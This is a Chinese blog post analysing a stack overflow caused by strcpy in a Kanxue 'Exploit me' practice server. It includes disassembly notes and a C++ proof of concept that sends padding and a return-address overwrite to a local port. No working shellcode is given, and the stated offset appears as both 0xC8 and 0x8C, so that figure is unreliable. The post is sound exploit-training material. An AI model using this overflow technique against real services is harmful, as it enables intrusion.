一個簡單的遠端溢位漏洞分析

Ox9A82發表於2016-03-10

這是看雪Exploit me的題目,本來以為會很難,結果還是很基礎的,適合我這樣的新手練手。

http://bbs.pediy.com/showthread.php?t=56998

進入正題

首先拿到了一個Windows程式,拖到IDA裡打算看一下,結果發現程式邏輯出乎意料的簡單。就是一個很常規的SOCKET流程帶有一些錯誤處理。

下面詳細說明。

mov ebp,eax

test ebp,ebp

很明顯是對socket函式進行錯誤處理

同樣是錯誤處理,判斷accept函式是否執行成功

 

這裡就是關鍵了,因為下面就結束連線了,問題肯定出在這裡

跟進這個call

發現這裡有複製的行為,F5看一下,原來是個strcpy

同時發現個好玩的地方,這個函式沒有建立棧幀,這個函式的確是call進來的不是jmp進來的。

然而卻沒有棧幀。是透過對esp操作來開闢棧空間和指明返回地址的。

那麼這裡就可以猜到0xC8就是區域性變數距離返回地址的大小。

接下來用OD進行除錯。

在RET上下斷點,可以得到這樣。

分析棧可知,確實是我們上面猜的那樣,就是0x8C的大小。

寫了一個簡單的socket用來傳送shellcode

 1 // EXP.cpp : 定義控制檯應用程式的入口點。
 2 //
 3 
 4 #include <winsock2.h>
 5 #include "stdafx.h"
 6 #include "windows.h"
 7 #pragma comment(lib, "Ws2_32.lib ")
 8 char shellcode[] =
 9 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
11 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
12 "AAAAAAAAAAAAAAAAAAAAAA\xCC\xDD\xEE\xFF";
13 int main()
14 {
15     SOCKET MySocket;
16     WSADATA OUTDATA;
17     WSAStartup(MAKEWORD(2, 2), &OUTDATA);
18     MySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
19     sockaddr_in SocketInfo;
20     SocketInfo.sin_family = AF_INET;
21     SocketInfo.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
22     SocketInfo.sin_port = htons(7777);//7777埠透過對目標的bind的函式分析可以得出
23     if (connect(MySocket,(sockaddr *)&SocketInfo,sizeof(SocketInfo))
24         ==SOCKET_ERROR)
25     {
26         MessageBox(NULL, L"error", L"error", 0);
27     }
28     send(MySocket, shellcode, sizeof(shellcode), 0);
29     return 0;
30 }

結果如下

返回地址被成功覆蓋!

本來應該寫出shellcode的但是因為不會寫。。所以,以後再補全吧,待我再研究研究。

漏洞到這裡就已經分析清楚了,就是一個簡單的strcpy導致的遠端溢位漏洞。

相關文章